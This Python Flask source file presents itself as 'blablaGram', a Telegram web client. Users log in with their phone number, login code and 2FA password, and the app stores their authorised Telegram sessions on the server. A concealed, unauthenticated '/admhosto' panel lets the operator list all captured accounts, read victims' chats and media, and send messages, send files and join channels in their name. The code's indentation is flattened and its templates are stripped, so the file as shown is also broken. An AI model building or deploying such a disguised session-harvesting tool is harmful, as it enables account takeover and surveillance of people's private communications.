import asyncio
import hashlib
import os
import sqlite3
import datetime
from pathlib import Path
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
from telethon.sync import TelegramClient
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
from telethon.tl.functions.messages import ImportChatInviteRequest
from telethon.tl.functions.channels import JoinChannelRequest
from telethon.tl.types import User, Chat, Channel
app = Flask(__name__)
app.secret_key = os.urandom(24)
API_ID = '22328650'
API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
HOST = '0.0.0.0'
PORT = 7860
SESSION_DIR = 'sessions'
DOWNLOAD_DIR = 'downloads'
DB_PATH = 'users.db'
os.makedirs(SESSION_DIR, exist_ok=True)
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
def init_db():
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
telegram_id TEXT UNIQUE,
username TEXT,
phone TEXT,
session_file TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)''')
conn.commit()
async def get_user_client(user_id):
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
result = c.fetchone()
if not result:
return None, "User not found in database."
session_file = result[0]
client = TelegramClient(session_file, API_ID, API_HASH)
try:
await client.connect()
if not await client.is_user_authorized():
return None, "Client not authorized. Please log in again."
except Exception as e:
return None, f"Failed to connect or authorize Telegram client: {e}"
return client, None
LOGIN_TEMPLATE = '''
blablaGram - Login
'''
BLABLAGRAM_APP_TEMPLATE = '''
blablaGram
Select a chat to start messaging
'''
ADMHOSTO_TEMPLATE = '''
blablaGram - Admin Panel
blablaGram - Admin Panel
Managed Accounts
| ID | Telegram ID | Username | Phone | Actions |
{% for user in users %}
| {{ user[0] }} |
{{ user[1] }} |
{{ user[2] }} |
{{ user[3] }} |
Manage Account
|
{% endfor %}
'''
ADMHOSTO_MANAGE_TEMPLATE = '''
Manage: {{ user.username or user.phone }}
Manage Account: {{ user.username or user.phone }}
ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}
'''
@app.route('/')
def index():
if 'user_id' in session:
return redirect(url_for('blabla_gram_app'))
return render_template_string(LOGIN_TEMPLATE)
@app.route('/api/login', methods=['POST'])
def api_login():
data = request.json
phone = data.get('phone')
step = data.get('step')
if not phone:
return jsonify({'success': False, 'message': 'Phone number is required.'})
session_hash = hashlib.md5(phone.encode()).hexdigest()
session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
session['current_login_phone'] = phone
session['current_login_session_file'] = session_file_path
async def _login_async():
client = TelegramClient(session['current_login_session_file'], API_ID, API_HASH)
result = {}
try:
await client.connect()
if step == 'start':
if await client.is_user_authorized():
me = await client.get_me()
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
conn.commit()
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
session['user_id'] = user_db_id
result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
else:
sent_code = await client.send_code_request(session['current_login_phone'])
session['phone_code_hash'] = sent_code.phone_code_hash
result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
elif step == 'code':
code = data.get('code')
phone_code_hash = session.get('phone_code_hash')
if not phone_code_hash:
raise ValueError('Session expired, please try again.')
try:
me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
conn.commit()
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
session['user_id'] = user_db_id
result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
except SessionPasswordNeededError:
result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
except FloodWaitError as e:
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
result = {'success': False, 'message': f'Invalid code or other error: {e}'}
elif step == 'password':
password = data.get('password')
try:
me = await client.sign_in(password=password)
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
conn.commit()
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
session['user_id'] = user_db_id
result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
except FloodWaitError as e:
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
result = {'success': False, 'message': f'Invalid password or other error: {e}'}
else:
result = {'success': False, 'message': 'Invalid step.'}
except FloodWaitError as e:
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
finally:
if client.is_connected():
await client.disconnect()
return result
return jsonify(asyncio.run(_login_async()))
@app.route('/api/logout', methods=['POST'])
def api_logout():
user_id = session.get('user_id')
if user_id:
async def _logout_async():
client, error = await get_user_client(user_id)
if error: return
try:
if client.is_connected():
await client.log_out()
except Exception:
pass
finally:
if client and client.is_connected():
await client.disconnect()
asyncio.run(_logout_async())
session.clear()
return jsonify({'success': True, 'message': 'Logged out successfully.'})
@app.route('/app')
def blabla_gram_app():
if 'user_id' not in session:
return redirect(url_for('index'))
return render_template_string(BLABLAGRAM_APP_TEMPLATE)
@app.route('/api/user_chats')
def api_user_chats():
user_id = session.get('user_id')
if not user_id:
return jsonify({'success': False, 'message': 'User not logged in.'}), 401
async def _get_chats_async():
client, error = await get_user_client(user_id)
if error: return None, error
chats_info = []
try:
async for dialog in client.iter_dialogs():
title = dialog.title
chat_type = 'User'
participants = None
if isinstance(dialog.entity, User):
chat_type = 'User'
full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
title = full_name if full_name else "Unnamed User"
if dialog.entity.username:
title += f" (@{dialog.entity.username})"
elif isinstance(dialog.entity, Channel):
chat_type = 'Channel'
if hasattr(dialog.entity, 'participants_count'):
participants = dialog.entity.participants_count
elif isinstance(dialog.entity, Chat):
chat_type = 'Group'
if hasattr(dialog.entity, 'participants_count'):
participants = dialog.entity.participants_count
else:
title = title if title else "Unknown Chat"
chat_type = "Unknown"
initial = title[0].upper() if title else '?'
chats_info.append({
'id': dialog.id,
'title': title,
'type': chat_type,
'participants': participants,
'avatar_initial': initial
})
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected():
await client.disconnect()
return chats_info, None
chats, error = asyncio.run(_get_chats_async())
if error:
return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])})
@app.route('/api/chat_messages/')
def api_get_chat_messages(peer_id):
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
offset_id = request.args.get('offset_id', None, type=int)
limit = request.args.get('limit', 50, type=int)
async def _get_messages_async():
client, error = await get_user_client(user_id)
if error: return None, error
messages = []
try:
entity = await client.get_entity(peer_id)
async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):
msg_data = {
'id': message.id,
'text': message.text,
'date': message.date.strftime("%b %d, %H:%M"),
'is_sent': message.out,
'sender_name': 'Unknown'
}
if message.sender:
if isinstance(message.sender, User):
msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
elif hasattr(message.sender, 'title'):
msg_data['sender_name'] = message.sender.title
else:
msg_data['sender_name'] = str(message.sender.id)
if message.media:
try:
file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
for attr in message.media.document.attributes:
if hasattr(attr, 'file_name'):
file_name = attr.file_name
break
elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
file_name = f"photo_{message.media.photo.id}.jpg"
file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
if file_info:
file_path = Path(file_info)
msg_data['file_name'] = file_path.name
file_size = os.path.getsize(file_path)
msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
except Exception as media_e:
msg_data['file_name'] = f"Download failed: {media_e}"
messages.append(msg_data)
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected():
await client.disconnect()
return messages, None
messages, error = asyncio.run(_get_messages_async())
if error:
return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
return jsonify({'success': True, 'messages': messages})
@app.route('/api/send_message', methods=['POST'])
def api_send_message():
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
data = request.json
chat_id = data.get('chat_id')
message_content = data.get('message')
async def _send_message_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_message(target_entity, message_content)
return {'success': True, 'message': 'Message sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_message_async()))
@app.route('/api/send_file', methods=['POST'])
def api_send_file():
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
chat_id = request.form.get('chat_id')
caption = request.form.get('caption', '')
if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
if 'file' not in request.files:
return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'success': False, 'message': 'No selected file.'}), 400
async def _send_file_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
return {'success': True, 'message': 'File sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_file_async()))
@app.route('/api/join_chat', methods=['POST'])
def api_join_chat():
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
data = request.json
chat_identifier = data.get('chat_identifier')
async def _join_chat_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
invite_hash = chat_identifier.split('/')[-1].replace('+', '')
await client(ImportChatInviteRequest(invite_hash))
else:
await client(JoinChannelRequest(chat_identifier))
return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except (UserNotParticipantError, ValueError):
return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
except Exception as e:
return {'success': False, 'message': f'Error joining chat: {e}'}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_join_chat_async()))
@app.route('/download/')
def download_file(filename):
return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
@app.route('/admhosto')
def admhosto_index():
with sqlite3.connect(DB_PATH) as conn:
users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall()
return render_template_string(ADMHOSTO_TEMPLATE, users=users)
@app.route('/admhosto/user//manage')
def admhosto_manage_user_account(user_id):
with sqlite3.connect(DB_PATH) as conn:
user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone()
if not user_data: return "User not found", 404
user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]}
async def _get_chats_async():
client, error = await get_user_client(user_id)
if error: return None, error
chats_info = []
try:
async for dialog in client.iter_dialogs():
chat_type = 'Other'
if isinstance(dialog.entity, Channel): chat_type = 'Channel'
elif isinstance(dialog.entity, Chat): chat_type = 'Group'
elif isinstance(dialog.entity, User): chat_type = 'User'
title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
chats_info.append({
'id': dialog.id,
'title': title,
'type': chat_type,
'participants': getattr(dialog.entity, 'participants_count', None)
})
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected(): await client.disconnect()
return chats_info, None
chats, error = asyncio.run(_get_chats_async())
if error: return f"Failed to load chats: {error}", 500
return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
@app.route('/admhosto/user//chat//messages')
def admhosto_get_chat_messages(user_id, peer_id):
offset_id = request.args.get('offset_id', None, type=int)
limit = request.args.get('limit', 50, type=int)
async def _get_messages_async():
client, error = await get_user_client(user_id)
if error: return None, error
messages = []
try:
entity = await client.get_entity(peer_id)
async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):
msg_data = {
'id': message.id,
'text': message.text,
'date': message.date.strftime("%b %d, %H:%M"),
'is_sent': message.out,
'sender_name': 'Unknown'
}
if message.sender:
if isinstance(message.sender, User):
msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
elif hasattr(message.sender, 'title'):
msg_data['sender_name'] = message.sender.title
else:
msg_data['sender_name'] = str(message.sender.id)
if message.media:
try:
file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
for attr in message.media.document.attributes:
if hasattr(attr, 'file_name'):
file_name = attr.file_name
break
elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
file_name = f"photo_{message.media.photo.id}.jpg"
file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
if file_info:
file_path = Path(file_info)
msg_data['file_name'] = file_path.name
file_size = os.path.getsize(file_path)
msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
except Exception as media_e:
msg_data['file_name'] = f"Download failed: {media_e}"
messages.append(msg_data)
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected(): await client.disconnect()
return messages, None
messages, error = asyncio.run(_get_messages_async())
if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
return jsonify({'success': True, 'messages': messages})
@app.route('/admhosto/send_message/', methods=['POST'])
def admhosto_send_message(user_id):
data = request.json
chat_id = data.get('chat_id')
message_content = data.get('message')
async def _send_message_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_message(target_entity, message_content)
return {'success': True, 'message': 'Message sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_message_async()))
@app.route('/admhosto/send_file/', methods=['POST'])
def admhosto_send_file(user_id):
chat_id = request.form.get('chat_id')
caption = request.form.get('caption', '')
if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
if 'file' not in request.files:
return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'success': False, 'message': 'No selected file.'}), 400
async def _send_file_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
return {'success': True, 'message': 'File sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_file_async()))
@app.route('/admhosto/join_chat/', methods=['POST'])
def admhosto_join_chat(user_id):
data = request.json
chat_identifier = data.get('chat_identifier')
async def _join_chat_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
invite_hash = chat_identifier.split('/')[-1].replace('+', '')
await client(ImportChatInviteRequest(invite_hash))
else:
await client(JoinChannelRequest(chat_identifier))
return {'success': True, 'message': 'Successfully joined.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': f'Error joining: {e}'}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_join_chat_async()))
if __name__ == '__main__':
init_db()
app.run(host=HOST, port=PORT, debug=False)